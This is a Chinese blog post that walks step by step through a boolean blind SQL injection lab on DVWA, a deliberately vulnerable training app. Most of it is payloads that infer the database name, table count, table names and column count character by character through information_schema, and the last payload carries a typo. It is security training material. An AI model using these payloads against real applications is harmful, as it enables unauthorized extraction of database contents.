DVWA-SQL盲注
尝试1到10发现只有存在5个数据库id
接下来判断是什么类型的
说明是字符型的
判断数据库长度
1' and length(database())=4#
说明数据库只有四个字节
接下来猜/判断字符串ASCII
第一个字符
1' and ASCII(substr(database(),1,1))>97#正确
1' and ASCII(substr(database(),1,1))>110# 错误
1' and ASCII(substr(database(),1,1))=100# 正确
说明第一个字符为d
以此类推
第二个字符
1' and ASCII(substr(database(),2,1))=118# 正确v
第三个字符
1' and ASCII(substr(database(),3,1))=119#正确w
第四个字符
1' and ASCII(substr(database(),4,1))=97# 正确a
所以数据库为dvwa
判断数据表有几个
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
只有两个表
查看表的长度
第一个
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #
第二个
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
猜名字 猜ASCLL
第二个表
第一个字符
1' and ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # u
由于已知需要的表名为user
以此类推
1' and (select count(column_name) from information_schema.columns where table_name='users')=10#
猜解名字
' or ASCII(substr((select column_name from information_schema.columns where table_name='users'imit 1,1),1,1))=102 #
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码